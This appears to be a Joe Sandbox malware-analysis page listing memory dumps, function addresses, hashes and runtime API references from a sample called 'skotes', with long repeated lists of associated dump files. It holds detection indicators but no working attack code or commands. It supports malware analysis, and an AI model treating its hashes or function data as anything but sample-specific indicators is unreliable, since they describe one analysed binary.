Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 976a1d6e08f2c5b15932f6347ffec85662367a20d08b3ec3a1fe24b5ac00d460
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: E3819C79E112269FCB18EFA8C580A6DB7F9FF48304F1542ADD445A7781C730AD62CB84

Function 0028EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0028EC81

Part of subcall function 00288F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00288F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0028ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0028ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0028ED0C

Part of subcall function 0028E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0028E7D7
Part of subcall function 0028E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0028E86F
Part of subcall function 0028E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0028E879
Part of subcall function 0028E7AF: Concurrency::location::_Assign.LIBCMT ref: 0028E8AD
Part of subcall function 0028E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0028E8B5

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 03f18f834021b3d5bc4ddd3936e39efa4df0c1ff89e7b0767956531162bd2c0a
Instruction ID: 57279fc20a433a0838c3fa78a7abc99dc40aa99bc631f9f77bd824f9479eca1e
Opcode Fuzzy Hash: 03f18f834021b3d5bc4ddd3936e39efa4df0c1ff89e7b0767956531162bd2c0a
Instruction Fuzzy Hash: FF519535A21205EBCF25EF50C899BAEB775AF44310F158059E9067B3D2CB70AE29CF91

Function 0027CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0027CBAA

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 61c18a19ad9b2e52defcc49c005232c28db1a237848418ce22ab3bca24823309
Instruction ID: d48e77d6e4c1eb47f058393b13e27cf440e23cf86d02068f1921e6ce1ce551d5
Opcode Fuzzy Hash: 61c18a19ad9b2e52defcc49c005232c28db1a237848418ce22ab3bca24823309
Instruction Fuzzy Hash: A1B09232A2383047CA622B24BC4C99E77189B80B1131A525AE801A73248A60AD824BD8

Function 0027DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aca7cdae66e0d410af283b39c328c2ec28363bba957383ad5139075f99a929b
Instruction ID: 8e27999923205e0b5a964a9be62c7a7ce9fac1aad5d41640a486d7250b6e1de9
Opcode Fuzzy Hash: 3aca7cdae66e0d410af283b39c328c2ec28363bba957383ad5139075f99a929b
Instruction Fuzzy Hash: 0651BF72911616CBDB25CF59E888BA9B7F1FB58300F24856AD40AEB650D770E950CF90

Function 04F104F1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3294268227.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d39b030bb15d044659ebc1df78df8254d64117e96456fedddf7498e84270768
Instruction ID: b3a8f93cacb85644b654ed1ff10baaa2c3c8f598db16d52e830fa8496f18f0ac
Opcode Fuzzy Hash: 3d39b030bb15d044659ebc1df78df8254d64117e96456fedddf7498e84270768
Instruction Fuzzy Hash: 7CF0F6D721C161BD760294A56A914FB2B58EBC2230336C467F407CAD36F98969C76235

Function 0027F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0027F2BB

Strings

pEvents, xrefs: 0027F2B3

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
